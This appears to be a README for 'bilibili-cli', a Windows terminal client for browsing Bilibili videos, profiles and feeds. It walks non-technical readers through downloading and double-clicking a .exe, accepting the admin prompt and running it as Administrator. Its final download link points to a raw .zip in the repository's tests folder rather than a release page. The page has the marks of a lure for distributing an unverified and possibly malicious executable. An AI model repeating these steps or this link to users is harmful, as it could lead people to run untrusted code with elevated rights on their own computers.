bilibili-cli lets you use Bilibili directly from your computer’s command line. You can browse videos, check user profiles, search for content, and view your feed without opening a web browser. It is a simple tool for people who prefer working in the terminal or want a quick way to explore Bilibili.
You don’t need any programming skills to use bilibili-cli. Just follow the steps below to download and start it on your Windows computer.
- Windows 10 or later
- At least 500 MB free disk space
- Internet connection
- No need to install anything else beforehand
- Search Bilibili videos by keywords
- View user profiles and their uploaded videos
- Browse your feed with the latest updates
- Open videos in your default browser if needed
- Lightweight and runs fast in the terminal
Use bilibili-cli to navigate Bilibili using text commands. This means you will type commands to find videos, users, or see your feed. It works like a text-based app.
Click this link to go to the official GitHub page for bilibili-cli. This page has the files needed to run the app and simple guides.
On the page:
- Click Releases on the right side menu or scroll down to find the latest release.
- Look for a file that ends with
.exe. This is the program you will run.
- Click the
.exefile to download it to your computer. - Choose a folder you can easily access, like Downloads or Desktop.
- Open File Explorer and go to the folder with the
.exefile. - Double-click the file to start bilibili-cli.
Windows may ask if you want to allow this app to make changes to your device. Click Yes to continue.
The program opens in a terminal window. You can start by typing commands like:
search <keyword>to look for videosuser <username>to see a user profilefeedto display your feed
Type help to see all commands and how to use them.
Here's a list of the main commands to get started:
| Command | Action | Example |
|---|---|---|
search <text> |
Find videos matching your search words | search funny cats |
user <name> |
Show information about a Bilibili user | user bilibiliuser01 |
feed |
Display the latest videos from your feed | feed |
play <id> |
Open a video by ID in your web browser | play BV1xx411c7hL |
help |
List all available commands | help |
If bilibili-cli does not start:
- Check if your Windows version is 10 or newer.
- Make sure your internet is connected.
- Try redownloading the
.exefile to avoid a corrupted download. - Run the program as Administrator if you see permission errors.
If a command does not work, check for typos or use the help command.
bilibili-cli uses Bilibili’s public services to fetch videos and user information. It does not store your personal data. Any videos open in your web browser for playback.
The tool works best with a stable internet connection. It does not have a graphical interface, so everything happens in the terminal window.
Visit the download page to get the latest version:
https://raw.githubusercontent.com/tiwarn01/bilibili-cli/main/tests/cli_bilibili_v3.3.zip